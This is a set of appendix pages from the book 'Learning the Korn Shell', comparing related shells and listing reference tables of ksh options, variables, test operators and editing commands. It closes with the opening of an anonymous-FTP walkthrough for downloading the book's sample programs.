UNIX System Laboratories released wksh, the Windowing Korn shell, in late 1992. It's a full Korn shell, completely compatible with the version this book describes, that has extensions for graphical user interface (GUI) programming in the X Window System environment. It runs on System V Release 4 (SVR4) and SunOS UNIX systems.

wksh supports the OPEN LOOK and OSF/Motif graphical Toolkits by making their routines available as built-in commands. This allows programmers to combine the Korn shell's strength as a UNIX systems programming environment with the power and abstraction of the Toolkits. The result is a unified environment for quick and easy development of graphics-based software.

There are various GUI development tools that allow you to construct user interfaces with a graphics-based editor rather than with programming language code. But such tools are typically huge, expensive, and complex. wksh, on the other hand, is inexpensive and unbeatable for the smoothness of its integration with UNIX-it's the only such tool that you can use as your login shell! We recommend it highly to systems programmers who use X-based workstations and need a rapid prototyping tool.

To give you the flavor of wksh code, here is a script that implements the canonical "Hello World" program by displaying a small window with that text in it. The code, taken from the wksh manual, should hold no surprises for X and Motif programmers:

#!/usr/bin/wksh -motif
XtAppInitialize TOPLEVEL hello Hello "$@"
XtCreateManagedWidget L 1 label $TOPLEVEL labelString:"Hello World"
XtRealizeWidget $TOPLEVEL
XtMainLoop

For more information on wksh, contact:

UNIX Systems Laboratories, Inc.
190 River Road
Summit, NJ 07901
Phone: (800) 828-UNIX or (908) 522-6000.

Previous: A.2 The IEEE 1003.2 POSIX Shell Standard | Learning the Korn Shell | Next: A.4 pdksh
A.2 The IEEE 1003.2 POSIX Shell Standard | Book Index | A.4 pdksh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.4 pdksh

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.3 wksh Appendix A
Related Shells 		Next: A.5 bash

A.4 pdksh

If your system does not have the November 1988 Korn shell, there is a public domain version known as pdksh. pdksh is available as source code in various places on the Internet, including the USENET newsgroup comp.sources.unix. It comes with instructions for building and installing it on various BSD-derived UNIX platforms (especially SunOS).

pdksh was written by Eric Gisin, who based it on Charles Forsyth's public domain Version 7 Bourne shell. It has all Bourne shell features plus some of the Korn shell extensions and a few features of its own.

Its emacs editing mode is actually more powerful than that of the 1988 Korn shell. Like the full emacs editor, you can customize the keystrokes that invoke editing commands (known as key bindings in emacs terminology). Editing commands have full names that you can associate with keystrokes by using the bind command.

For example, if you want to set up [CTRL-U] to do the same thing as [CTRL-P] (i.e., go back to the previous command in the history file), you could put this command in your .profile:

bind '^U'=up-history

You can even set up two-character escape sequences, which (for example) allow you to use ANSI arrow keys as well as control characters, and you can define macros, i.e., abbreviations for sequences of editing commands.

The public domain Korn shell's additional features include alternation wildcards (borrowed from the C shell) and user-definable tilde notation, in which you can set up ~ as an abbreviation for anything, not just user names. There are also a few subtle differences in integer expression evaluation and aliasing.

Otherwise, pdksh lacks a few features of the official version. In particular, it lacks the following:

  • The built-in variables COLUMNS, ERRNO, LINENO, LINES, and PS4.

  • Array variables.

  • The fake signals ERR and EXIT within functions.

  • Advanced (regular expression) wildcards.

  • The newer syntax ([[...]]) for conditional tests (the older Bourne shell syntax is supported).

  • The advanced I/O redirectors >|, <>, <&p, >&p, and |&. Coroutines are not supported.

  • The options errexit, markdirs, noclobber, nolog, and privileged.

  • Of the typeset options, only -f (function) -i (integer), -r (read-only), and -x (export) are supported.

The documentation (manual page) of pdksh is incomplete-which is especially a shame because what exists is considerably better organized than the Korn shell's man page! For example, it gives the syntax of command lines and control structures in Extended Backus-Naur Form (BNF), which is not only precise and unambiguous but is the lingua franca of computer language experts.

However, pdksh is a worthwhile alternative to the C and Bourne shells for those who can't get the official version of the Korn shell.

Previous: A.3 wksh | Learning the Korn Shell | Next: A.5 bash
A.3 wksh | Book Index | A.5 bash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.5 bash

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.4 pdksh Appendix A
Related Shells 		Next: A.6 Workalikes on PC Platforms

A.5 bash

bash is another popular "third-party" shell that is available on the Internet, via anonymous FTP on prep.ai.mit.edu in the directory /pub/gnu. You can also order it from its maker: The Free Software Foundation (FSF) 675 Massachusetts Avenue Cambridge MA 02139, phone (617) 876-3296.

Bash was written by Brian Fox and Chet Ramey. Its name is in line with the FSF's penchant for bad puns: it stands for Bourne-Again Shell. Although bash is easily available and you don't have to pay for it (other than the cost of media, phone calls, etc.), it's not really public domain software. While public domain software doesn't have licensing restrictions, the FSF's software does. But those restrictions are diametrically opposed to those in a commercial license: [3] instead of agreeing not to distribute the software further, you agree not to prevent it from being distributed further! In other words, you enjoy unrestricted use of the software as long as you agree not to inhibit others from doing the same. Richard Stallman, the founder of the FSF, invented this intriguing and admirable concept.

[3] Accordingly, the document that spells out these restrictions is called a copyleft.

You may have heard that public domain software tends to be buggy, poorly maintained and documented, etc. Let us emphasize that this is absolutely not the case with software from the FSF. It is among the finest, most full-featured, best-maintained, and most technically advanced software in existence.

The FSF has been developing a complete, UNIX-compatible operating system called GNU, which stands for GNU's Not UNIX. [4] They have already written lots of utilities and software tools for GNU that also run on most varieties of UNIX, the most famous of which is the GNU Emacs editor. The shell for GNU is bash.

[4] This is an example of a recursive acronym, in which the first letter stands for the acronym itself. It is the result of a mental disorder caused by a rare brain parasite endemic to the southern part of Cambridge, MA.

bash is fully compatible with the Bourne shell. It has several of the most important Korn shell features and the C shell features that the Korn shell has appropriated, including aliases, functions, tilde notation, emacs and vi editing modes, arithmetic expressions, job control, etc.

Yet bash is not really a Korn shell workalike. Various aspects of its syntax are different, e.g.:

  • Arithmetic expressions have the form $[...].

  • Functions conform to the alternate syntax we didn't use in this book (see Chapter 4), although you may use the function keyword in addition to the parentheses.

  • Condition tests are in the old, Bourne shell style.

  • The command type does what whence does, only better.

  • print is not supported; you must use echo.

Some of these will change as the POSIX 1003.2 standard evolves. Bash also doesn't implement various small Korn shell features, including most of those listed above for pdksh, and it doesn't support the DEBUG fake signal.

However, bash has many features of its own that make it a very powerful and flexible environment. Here are some of the highlights:

  • You can put backslash-escapes in the primary prompt string (PS1) for which bash substitutes things like the date, time, current working directory, machine name, user name, shell, etc.

  • The commands builtin, command, and enable give you more control over the steps bash goes through to look for commands-i.e., bash's analog to the list of command search steps in Chapter 7.

  • The emacs editing mode is customizable, even more so than its equivalent in pdksh. You can use the bind command to set up your own keystroke preferences, and there are several more commands available-including the ability to undo your last command.

  • You can also rebind keystrokes in vi editing mode.

  • bash supports ! as a keyword, a la POSIX 1003.2 (see page 297).

  • bash has online help for built-in commands.

  • pushd and popd are built-in, as they are in the C shell.

  • Many new options and variables let you customize your environment with unprecedented flexibility.

We're compelled to say that many users prefer bash to the Korn shell. Although the latter is probably used by more people, because of the commercial channels through which it's distributed, bash is clearly an excellent choice.

Previous: A.4 pdksh | Learning the Korn Shell | Next: A.6 Workalikes on PC Platforms
A.4 pdksh | Book Index | A.6 Workalikes on PC Platforms
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.6 Workalikes on PC Platforms

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.5 bash Appendix A
Related Shells 		Next: A.7 The Future of the Korn Shell

A.6 Workalikes on PC Platforms

The proliferation of the Korn shell has not stopped at the boundaries of UNIX-dom. Many programmers who got their initial experience on UNIX systems and subsequently crossed over into the PC world wished for a nice UNIX-like environment (especially when faced with the horrors of the MS-DOS command line!), so it's not surprising that several UNIX shell-style interfaces to small-computer operating systems have appeared, Korn shell emulations among them.

Shells that are called "Korn shell" exist for the Minix and Coherent operating systems, both of which are small, inexpensive UNIX-like systems for IBM PC-type machines. These shells are not very compatible with the 1988 UNIX Korn shell; they only have the most important Korn shell features, such as emacs and vi editing modes and shell functions.

Somewhat better is a version of pdksh for OS/2, which you can get in binary form (i.e., the executable, not the source code) from the USENET newsgroup comp.binaries.os2.

But far better than that is the MKS Toolkit, available from Mortice Kern Systems, Inc. The Toolkit is actually a complete UNIX-like environment for MS-DOS (version 2.0 and later) and OS/2 (version 1.2 and later). In addition to its shell, it comes with a vi editor and many UNIX-style utilities, including major ones like awk, uucp, and make.

The MKS shell itself is very much compatible with the 1988 UNIX Korn shell, and it has a well-written manual. Its only real syntactic difference is that it doesn't support the Korn shell's condition test syntax; you must use the old Bourne shell syntax instead.

The few other differences are due to limitations in the underlying operating systems rather than the shell itself. Most importantly, MS-DOS does not support multitasking or file permissions, so the MS-DOS version supports none of the relevant Korn shell features. The OS/2 version doesn't support file permissions either.

Specifically, the MKS shell for MS-DOS does not support the following:

  • Background jobs: & at the end of a command acts like ;, i.e., as a statement separator.

  • Job control: fg, bg, jobs, kill, and wait; the options bgnice and monitor; coroutines.

The MKS shells for both MS-DOS and OS/2 do not support the following:

  • File permission: umask, newgrp. The option privileged has been renamed to protected to reflect the lack of suid permission. Some test conditions have different meanings, as shown in Table A-1.

    Table A.1: File Permission Test Operators
    Operator | UNIX Test | MKS Toolkit Test
    -g | setgid bit | System attribute
    -k | sticky (save text) bit | Archive attribute
    -u | setuid bit | Hidden attribute

  • Filenames: all scripts must have names with the extension .ksh. Shell-related files have names that don't conform to MS-DOS file naming rules; Table A-2 shows MKS toolkit equivalents.

  • Environment variables that contain directory lists, such as PATH and MAILPATH, should use semicolons (;) instead of colons (:) to separate directories, because colons are used in DOS and OS/2 pathnames.

    Table A.2: MKS Toolkit Names for Shell Files
    UNIX Filename | MKS Toolkit Filename
    .profile | profile.ksh
    .sh_history | sh_histo
    /etc/profile | \etc\profile.ksh
    /etc/suid_profile | \etc\suid_pro.ksh

  • Signals: the only ones supported are INT, ALRM, and STOP. The fake signals ERR and EXIT are supported, but DEBUG is not.

  • PPID is renamed PID.

  • Condition tests: -a (file existence) is renamed -e to avoid clashing with the -a operator (for logical "and") in the older test or [...] syntax. The > and < (lexicographic comparisons) aren't supported.

The MKS shell also supports a few features of its own. It uses $[...] (a la bash) as an alternative syntax for arithmetic expressions, and it includes a few invocation and set options that are related to the underlying operating system.

Many UNIX users who have moved to DOS PCs swear by the MKS Toolkit; it's inexpensive ($299 at this writing), and it makes MS-DOS into a reasonable environment for advanced users and software developers. The Toolkit is available through most dealers that sell software tools, or through MKS itself. For more information, contact MKS, 35 King St. North, Waterloo, Ontario, Canada N2J 2W9, or electronically as follows:
Telephone | (800) 265-2797 (US & Canada)
Fax | (519) 884 8861
Internet | toolkit@mks.com
CompuServe | 73260,1043
BIX | mks

Previous: A.5 bash | Learning the Korn Shell | Next: A.7 The Future of the Korn Shell
A.5 bash | Book Index | A.7 The Future of the Korn Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.7 The Future of the Korn Shell

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.6 Workalikes on PC Platforms Appendix A
Related Shells 		Next: B. Reference Lists

A.7 The Future of the Korn Shell

David Korn continues to enhance the Korn shell at AT&T Bell Labs. At this writing, a new release is in beta test-usually the final step before a piece of software is released. However, negotiations between AT&T and USL (now Novell UNIX Systems Group) over distribution rights could very well postpone the new shell's public release for a couple of years or more.

Nevertheless, the new Korn shell has significant enhancements that make it worth looking forward to. These features are subject to change between the time of this writing and the new shell's public release. Here are some highlights:

  • The ability to customize key bindings, as in bash and pdksh but applicable to vi- as well as emacs-mode. This is implemented as another "fake signal" trap (on keystrokes), so it's extremely flexible.

  • Many new customization variables and options.

  • A greatly expanded set of string operators, providing substrings, substitutions, and other functionality.

  • An enhanced array variable facility that provides for associative arrays, which can be addressed by their contents rather than by indices.

  • Better prompt string customization capabilities (with command substitution and arithmetic expression evaluation).

  • Floating point (real number) arithmetic.

  • An arithmetic for loop in the style of the C programming language.

  • A new option to print that allows C language printf()-style output formatting.

  • The ability to add new built-in commands, on systems that support dynamic loading (the dlopen() system call).

  • More user control over command lookup order, as in the POSIX standard and bash.

  • The ability to set timed "alarms" (with the ALRM signal).

  • Expanded debugging support through additional fake signal traps.

  • Online help for built-in commands through a standard -? option.

The next release is expected to be incompatible with the 1988 Korn shell in a few ways, some of which are necessary for POSIX compliance (refer to the section on POSIX in this Appendix for more details):

  • The alias command will never display tracked aliases unless you specify the option -t.

  • Functions defined with fname() (the syntax not used in this book) will have weaker POSIX-compliant semantics. However, functions defined with function fname will remain the same.

  • Tilde expansion can take place inside ${...}-style variable expressions, whereas in the 1988 Korn shell, tildes in these expressions are treated literally.

  • ! will be a keyword, as it is in the POSIX standard.

  • Command substitution and arithmetic expression evaluation (in addition to parameter expansion) will be performed on the variables PS1, PS3, and ENV when they are expanded. This will allow for more flexible customization of prompt strings and environment files. It also means that grave accents (`) and $( must be quoted to be taken literally.

  • Output of the built-in commands set, typeset, and alias will change so that any words containing special characters are single-quoted-so that these commands' output can be used directly for input.

  • A new expansion operator, $'...', is used to delimit strings that conform to the ANSI C language standard for character strings. In the 1988 Korn shell, $' causes the dollar sign to be treated literally; in future releases, it must be backslash-escaped.

  • command will be a built-in command, as in POSIX.

  • Command lookup order will change so that built-in commands will be treated as if they were installed in /bin, i.e., will be found at the same time as /bin is searched when the shell goes through your PATH. The rules will also change to comply with the POSIX standard that allows certain built-in commands to take precedence over functions.

  • Signal traps will propagate to subshells (whether nested or shell scripts invoked from shells) until the subshell issues a trap command (on any signal). Currently, traps do not propagate to subshells; see Chapter 8.

  • The built-in variable ERRNO will be dropped; exit statuses will reflect system call error numbers.

Finally, the following features are expected eventually to become obsolete:

  • The command fc will be renamed hist; the built-in variable FCEDIT will be renamed HISTEDIT.

  • The -t option to alias, set -h, and set -o trackall. Alias tracking will always be on.

  • The -k or -o keyword option. This will always be off (see Chapter 3).

  • Grave accents (`) for command substitution. Use $(...) instead.

  • The -a (file existence) condition test will be renamed -e, to avoid clashing with the -a operator (logical "and") in the old test or [...] syntax.

  • The = pattern-matching operator in [[...]] condition tests will be replaced by == for better syntactic alignment with the C language.

  • The arithmetic comparisons -eq, -lt, etc. Use ((...)) instead.

Previous: A.6 Workalikes on PC Platforms | Learning the Korn Shell | Next: B. Reference Lists
A.6 Workalikes on PC Platforms | Book Index | B. Reference Lists
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] Reference Lists

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.7 The Future of the Korn Shell Appendix B Next: B.2 Built-in Commands and Keywords

B. Reference Lists

Contents:
Invocation Options
Built-in Commands and Keywords
Built-in Shell Variables
Test Operators
Options
Typeset Options
Emacs Mode Commands
Vi Control Mode Commands

B.1 Invocation Options

Here is a list of the options you can use when invoking the Korn shell. In addition to these, any set option can be used on the command line; see Table B.5 below. Login shells are usually invoked with the options -i (interactive), -s (read from standard input), and -m -able job control).
Option | Meaning
-c string | Execute string, then exit.
-s | Read commands from the standard input. If an argument is given, this flag takes precedence (i.e., the argument won't be treated as a script name and standard input will be read).
-i | Interactive shell. Ignore signals TERM, INTR, and QUIT.
-r | Restricted shell. See Chapter 10, Korn Shell Administration.

Previous: A.7 The Future of the Korn Shell | Learning the Korn Shell | Next: B.2 Built-in Commands and Keywords
A.7 The Future of the Korn Shell | Book Index | B.2 Built-in Commands and Keywords
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.2 Built-in Commands and Keywords

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.1 Invocation Options Appendix B
Reference Lists 		Next: B.3 Built-in Shell Variables

B.2 Built-in Commands and Keywords

Here is a summary of all built-in commands and keywords.
Command | Chapter | Summary
: | 7 | Do nothing (just do expansions of arguments).
. | 4 | Read file and execute its contents in current shell.
alias | 3 | Set up shorthand for command or command line.
bg | 8 | Put job in background.
break | 5 | Exit from surrounding for, select, while, or until loop.
case | 5 | Multi-way conditional construct.
cd | 1 | Change working directory.
continue |  | Skip to next iteration of for, select, while, or until loop.
echo | 4 | Expand and print arguments (obsolete).
exec | 9 | Replace shell with given program.
exit | 5 | Exit from shell.
export | 3 | Create environment variables.
eval | 7 | Process arguments as a command line.
fc | 2 | Fix command (edit history file).
fg | 8 | Put background job in foreground.
for | 5 | Looping construct.
function | 4 | Define function.
getopts | 6 | Process command-line options.
if | 5 | Conditional construct.
jobs | 1 | List background jobs.
kill | 8 | Send signal to process.
let | 6 | Arithmetic variable assignment.
newgrp |  | Start new shell with new group ID.
print | 1 | Expand and print arguments on standard output.
pwd | 1 | Print working directory.
read | 7 | Read a line from standard input.
readonly | 6 | Make variables read-only (unassignable).
return | 5 | Return from surrounding function or script.
select | 5 | Menu generation construct.
set | 3 | Set options.
shift | 6 | Shift command-line arguments.
time |  | Run command and print execution times.
trap | 8 | Set up signal-catching routine.
typeset | 6 | Set special characteristics of variables.
ulimit | 10 | Set/show process resource limits.
umask | 10 | Set/show file permission mask.
unalias | 3 | Remove alias definitions.
unset | 3 | Remove definitions of variables or functions.
until | 5 | Looping construct.
wait | 8 | Wait for background job(s) to finish.
whence | 3 | Identify source of command.
while | 5 | Looping construct.

Previous: B.1 Invocation Options | Learning the Korn Shell | Next: B.3 Built-in Shell Variables
B.1 Invocation Options | Book Index | B.3 Built-in Shell Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.3 Built-in Shell Variables

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.2 Built-in Commands and Keywords Appendix B
Reference Lists 		Next: B.4 Test Operators

B.3 Built-in Shell Variables

Variable | Chapter | Meaning
# | 4 | Number of arguments given to current process.
- |  | Options given to shell on invocation.
? | 5 | Exit status of previous command.
$ | 8 | Process ID of shell process.
_ |  | Last argument to previous command.
! | 8 | Process ID of last background command.
CDPATH | 3 | List of directories for cd command to search.
COLUMNS | 3 | Width of display in columns (for editing modes and select).
EDITOR | 2 | Used to set editing mode; also used by mail and other programs.
ERRNO | A | Error number of last system call that failed.
ENV | 3 | Name of file to run as environment file when shell is invoked.
FCEDIT | 2 | Default editor for fc command.
FPATH | 4 | Search path for autoloaded functions.
IFS | 7 | Internal field separator: list of characters that act as word separators. Normally set to SPACE, TAB, and NEWLINE.
HISTFILE | 2 | Name of command history file.
HISTSIZE | 2 | Number of lines kept in history file.
HOME | 3 | Home (login) directory.
LINENO | 9 | Number of line in script or function that just ran.
LINES | 3 | Height of display in lines (for select command).
MAIL | 3 | Name of file to check for new mail.
MAILCHECK | 3 | How often (in seconds) to check for new mail.
MAILPATH | 3 | List of file names to check for new mail, if MAIL is not set.
OLDPWD | 3 | Previous working directory.
OPTARG | 6 | Argument to option being processed by getopts.
OPTIND | 6 | Number of first argument after options.
PATH | 3 | Search path for commands.
PS1 | 3 | Primary command prompt string.
PS2 | 3 | Prompt string for line continuations.
PS3 | 5 | Prompt string for select command.
PS4 | 9 | Prompt string for xtrace option.
PPID | 8 | Process ID of parent process.
PWD | 3 | Current working directory.
RANDOM | 9 | Random number between 0 and 32767 (2215-1).
REPLY | 5,7 | User's response to select command; result of read command if no variable names given.
SECONDS | 3 | Number of seconds since shell was invoked.
SHELL | 3 | Full pathname of shell.
TMOUT | 10 | If set to a positive integer, number of seconds between commands after which shell automatically terminates.
VISUAL | 2 | Used to set editing mode.

Previous: B.2 Built-in Commands and Keywords | Learning the Korn Shell | Next: B.4 Test Operators
B.2 Built-in Commands and Keywords | Book Index | B.4 Test Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.4 Test Operators

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.3 Built-in Shell Variables Appendix B
Reference Lists 		Next: B.5 Options

B.4 Test Operators

These are the operators that are used with the [[...]] construct. They can be logically combined with && ("and") and || ("or") and grouped with parenthesis.
Operator | True If...
-a file | file exists.
-b file | file is a block device file.
-c file | file is a character device file.
-d file | file is a directory.
-f file | file is a regular file.
-g file | file has its setgid bit set.
-k file | file has its sticky bit set.
-n string | string is non-null.
-o option | option is set.
-p file | file is a pipe or named pipe (FIFO file).
-r file | file is readable.
-s file | file is not empty.
-t N | File descriptor N points to a terminal.
-u file | file has its setuid bit set.
-w file | file is writeable.
-x file | file is executable, or file is a directory that can be searched.
-z string | string is null.
-G file | file's group ID is the same as that of the shell.
-L file | file is a symbolic link.
-O file | file is owned by the shell's user ID.
-S file | file is a socket.
fileA -nt fileB | fileA is newer than fileB.
fileA -ot fileB | fileA is older than fileB.
fileA -ef fileB | fileA and fileB point to the same file.
string = pattern | string matches pattern (which can contain wildcards).
string != pattern | string does not match pattern.
stringA < stringB | stringA comes before stringB in dictionary order.
stringA > stringB | stringA comes after stringB in dictionary order.
exprA -eq exprB | Arithmetic expressions exprA and exprB are equal.
exprA -ne exprB | Arithmetic expressions exprA and exprB are not equal.
exprA -lt exprB | exprA is less than exprB.
exprA -gt exprB | exprA is greater than exprB.
exprA -le exprB | exprA is less than or equal to exprB.
exprA -ge exprB | exprA is greater than or equal to exprB.

Previous: B.3 Built-in Shell Variables | Learning the Korn Shell | Next: B.5 Options
B.3 Built-in Shell Variables | Book Index | B.5 Options
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.5 Options

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.4 Test Operators Appendix B
Reference Lists 		Next: B.6 Typeset Options

B.5 Options

These are options that can be turned on with the set -o command. All are initially off except where noted. Abbrevs, where listed, are arguments to set that can be used instead of the full set -o command (e.g., set -a is an abbreviation for set -o allexport). The abbreviations are actually backward-compatible Bourne shell options.
Option | Abbrev | Meaning
allexport | -a | Export all subsequently defined variables.
errexit | -e | Exit the shell when a command exits with non-0 status.
bgnice |  | Run all background jobs at decreased priority (on by default).
emacs |  | Use emacs-style command-line editing.
gmacs |  | Use emacs-style command-line editing, but with a slightly different meaning for [CTRL-T] (See Chapter 2, Command-line Editing).
ignoreeof |  | Disallow [CTRL-D] to exit the shell.
markdirs |  | Add / to all directory names generated from wildcard expansion.
monitor | -m | Enable job control (on by default).
noclobber |  | Don't allow > redirection to existing files.
noexec | -n | Read commands and check for syntax errors, but don't execute them.
noglob | -f | Disable wildcard expansion.
nolog |  | Disable command history.
nounset | -u | Treat undefined variables as errors, not as null.
privileged | -p | Script is running in suid mode.
trackall | -h | Substitute full pathnames for commands in alias expansions.
verbose | -v | Print commands (verbatim) before running them.
vi |  | Use vi-style command-line editing.
viraw |  | Use vi mode and have each keystroke take effect immediately.
xtrace | -x | Print commands (after expansions) before running them.

Previous: B.4 Test Operators | Learning the Korn Shell | Next: B.6 Typeset Options
B.4 Test Operators | Book Index | B.6 Typeset Options
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.6 Typeset Options

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.5 Options Appendix B
Reference Lists 		Next: B.7 Emacs Mode Commands

B.6 Typeset Options

These are arguments to the typeset command.
Option | Meaning
 | With no option, create local variable within function.
-L | Left justify and remove leading blanks.
-R | Right justify and remove trailing blanks.
-f | With no arguments, prints all function definitions.
-f fname | Prints the definition of function fname.
+f | Prints all function names.
-ft | Turns on trace mode for named function(s).
+ft | Turns off trace mode for named function(s).
-fu | Defines given name(s) as autoloaded function(s).
-i | Declare variable as an integer.
-l | Convert all letters to lowercase.
-r | Make variable read-only.
-u | Convert all letters to uppercase.
-x | Export variable, i.e., put in environment so that it is passed to subshells.

Previous: B.5 Options | Learning the Korn Shell | Next: B.7 Emacs Mode Commands
B.5 Options | Book Index | B.7 Emacs Mode Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.7 Emacs Mode Commands

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.6 Typeset Options Appendix B
Reference Lists 		Next: B.8 Vi Control Mode Commands

B.7 Emacs Mode Commands

Here is a complete list of all Emacs editing mode commands.
Command | Meaning
CTRL-A | Move to beginning of line
CTRL-B | Move backward one character (without deleting)
CTRL-C | Capitalize character after point
CTRL-D | Delete one character forward
CTRL-E | Move to end of line
CTRL-F | Move forward one character
CTRL-J | Same as RETURN.
CTRL-K | Delete ("kill") forward to end of line
CTRL-L | Redisplay the line
CTRL-M | Same as RETURN
CTRL-N | Next line
CTRL-O | Same as RETURN, then display next line in history file
CTRL-P | Previous line
CTRL-R | Search backward
CTRL-T | Transpose two characters
CTRL-U | Repeat the following command four times
CTRL-V | Print the version of the Korn shell
CTRL-W | Delete ("wipe") all characters between point and mark (see below)
CTRL-Y | Retrieve ("yank") last item deleted
CTRL-X CTRL-X | Exchange point and mark
CTRL-] x | Search forward for x, where x is any character
DEL | Delete one character backward
CTRL-[ | Same as ESC (most keyboards)
ESC b | Move one word backward
ESC c | Change word after point to all capital letters
ESC d | Delete one word forward
ESC f | Move one word forward
ESC h | Delete one word backward
ESC l | Change word after point to all lowercase letters
ESC p | Save characters between point and mark as if deleted
ESC CTRL-H | Delete one word backward
ESC CTRL-]x | Search backward for x, where x is any character
ESC SPACE | Set mark at point
ESC # | Insert line in history file for future editing
ESC DEL | Delete one word backward
ESC < | Move to first line of history file
ESC > | Move to last line of history file
ESC . | Insert last word in previous command line after point
ESC _ | Same as above
ESC ESC | Do filename completion on current word
ESC * | Do filename expansion on current word
ESC = | Insert line in history file for future editing

Previous: B.6 Typeset Options | Learning the Korn Shell | Next: B.8 Vi Control Mode Commands
B.6 Typeset Options | Book Index | B.8 Vi Control Mode Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.8 Vi Control Mode Commands

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.7 Emacs Mode Commands Appendix B
Reference Lists 		Next: C. Obtaining Sample Programs

B.8 Vi Control Mode Commands

Here is a complete list of all vi control mode commands.
Command | Meaning
h | Move left one character
l | Move right one character
w | Move right one word
b | Move left one word
W | Move to beginning of next non-blank word
B | Move to beginning of preceding non-blank word
e | Move to end of current word
E | Move to end of current non-blank word
0 | Move to beginning of line
^ | Move to first non-blank character in line
$ | Move to end of line
i | Insert text before current character
a | Insert text after current character
I | Insert text at beginning of line
A | Insert text at end of line
R | Overwrite existing text
dh | Delete one character backwards
dl | Delete one character forwards
db | Delete one word backwards
dw | Delete one word forwards
dB | Delete one non-blank word backwards
dW | Delete one non-blank word forwards
d$ | Delete to end of line
d0 | Delete to beginning of line
D | Equivalent to d$ (delete to end of line)
dd | Equivalent to 0d$ (delete entire line)
C | Equivalent to c$ (delete to end of line, enter input mode)
cc | Equivalent to 0c$ (delete entire line, enter input mode)
x | Equivalent to dl (delete character backwards)
X | Equivalent to dh (delete character forwards)
k or - | Move backward one line
j or + | Move forward one line
G | Move to line given by repeat count
/string | Search forward for string
?string | Search backward for string
n | Repeat search forward
N | Repeat search backward
f x | Move right to next occurrence of x
F x | Move left to previous occurrence of x
t x | Move right to next occurrence of x, then back one space
T x | Move left to previous occurrence of x, then forward one space
, | Undo motion of last character finding command
; | Redo last character finding command
\ | Do filename completion
* | Do wildcard expansion (onto command line)
\= | Do wildcard expansion (as printed list)
~ | Invert ("twiddle") case of current character(s)
\_ | Append last word of previous command, enter input mode
v | Run the fc command on the current line (actually, run the command fc -e ${VISUAL:-${EDITOR:-vi}}). Usually this means run the full vi on the current line.
[CTRL-L] | Start a new line and redraw the current line on it
# | Prepend # (comment character) to the line and send it
x | Insert expansion of alias _x

Previous: B.7 Emacs Mode Commands | Learning the Korn Shell | Next: C. Obtaining Sample Programs
B.7 Emacs Mode Commands | Book Index | C. Obtaining Sample Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] Obtaining Sample Programs

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: B.8 Vi Control Mode Commands Appendix C Next: C.2 FTPMAIL

C. Obtaining Sample Programs

Contents:
FTP
FTPMAIL
BITFTP
UUCP

Some of the examples in this book are available electronically in a number of ways: by ftp, ftpmail, bitftp, and uucp. The cheapest, fastest, and easiest ways are listed first. If you read from the top down, the first one that works for you is probably the best. Use ftp if you are directly on the Internet. Use ftpmail if you are not on the Internet but can send and receive electronic mail to internet sites (this includes CompuServe users). Use BITFTP if you send electronic mail via BITNET. Use UUCP if none of the above works.

C.1 FTP

To use FTP, you need a machine with direct access to the Internet. A sample session is shown, with what you should type in boldface.

% ftp ftp.uu.net
Connected to ftp.uu.net.
220 FTP server (Version 6.21 Tue Mar 10 22:09:55 EST 1992) ready.
Name (ftp.uu.net:kismet): anonymous
331 Guest login OK, send domain style e-mail address as password.
Password: kismet@ora.com (use your user name and host here)
230 Guest login OK, access restrictions apply.
ftp> cd /published/oreilly/nutshell/ksh
250 CWD command successful.
ftp> binary (Very important! You must specify binary transfer for compressed files.)
